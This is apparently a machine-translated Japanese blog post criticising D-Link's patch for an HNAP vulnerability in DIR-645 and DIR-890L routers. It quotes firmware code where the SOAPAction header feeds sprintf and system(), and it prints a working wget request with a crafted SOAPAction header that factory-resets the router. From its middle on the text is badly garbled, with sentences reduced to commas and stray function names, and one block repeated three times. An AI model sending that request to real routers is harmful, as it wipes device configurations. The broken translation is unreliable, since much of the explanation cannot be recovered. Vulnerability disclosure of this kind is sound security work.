なぜ地獄はD-Link⁈だ

HNAP DIR-890Lのバグに関する投稿の更新ですでに書いたように、彼らは年の初めにDIR-645でそれを見つけ、パッチをリリースしました。 D-LinkはDIR-890Lのパッチをリリースしました。

DIR-645とDIR-890Lのパッチは同じなので、DIR-890Lについてのみ記述します。



前の投稿ではコマンドの実行のみを検討しましたが、このパッチは、strstrを使用してSOAPAction HNAPヘッダーを検証するために発生したいくつかのセキュリティホールを示しています。



ご覧のとおり、D-Linkは脆弱性情報でこれをすべて認識し、すべての攻撃ベクトルを明確に表しています。

だから、彼らはsprintf



スタックオーバーフローを削除しましたか?



画像

sprintf(cmd_buf、「sh%s%s.sh> / dev / console」、「/ var / run」、SOAPAction);



いや



system



コールは削除されましたか?

画像

システム(cmd_buf);



もちろん違います!



SOAPAction



ヘッダーを検証するために、 strcmp



ではなくstrcmp



strcmp



していSOAPAction



か?

画像

if(strstr(SOAPAction、“ http://purenetworks.com/HNAP1/GetDeviceSettings”)!= NULL)



Pff、なぜわざわざ?



これらの基本的な問題に対するすべてのソリューションは、ファイルの存在をチェックすることにより、 SOAPAction



有効な期待値を検証するためにaccess



関数を使用することにSOAPAction



されます。 /etc/templates/hnap/.php:

画像

sprintf(), access()



, sprintf




system







, sprintf



access



; sprintf



sprintf



.



: , HNAP, .. , . , , !



, , , :

$ wget --header="SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/SetFactoryDefault" http://192.168.0.1/HNAP1





, D-Link .



UPD : D-Link ,




  /etc/templates/hnap/.php: 
      

画像

sprintf(), access()



, sprintf




system







, sprintf



access



; sprintf



sprintf



.



: , HNAP, .. , . , , !



, , , :

$ wget --header="SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/SetFactoryDefault" http://192.168.0.1/HNAP1

, D-Link .



UPD : D-Link ,








/etc/templates/hnap/.php:

画像

sprintf(), access()



, sprintf




system







, sprintf



access



; sprintf



sprintf



.



: , HNAP, .. , . , , !



, , , :

$ wget --header="SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/SetFactoryDefault" http://192.168.0.1/HNAP1





, D-Link .



UPD : D-Link ,







All Articles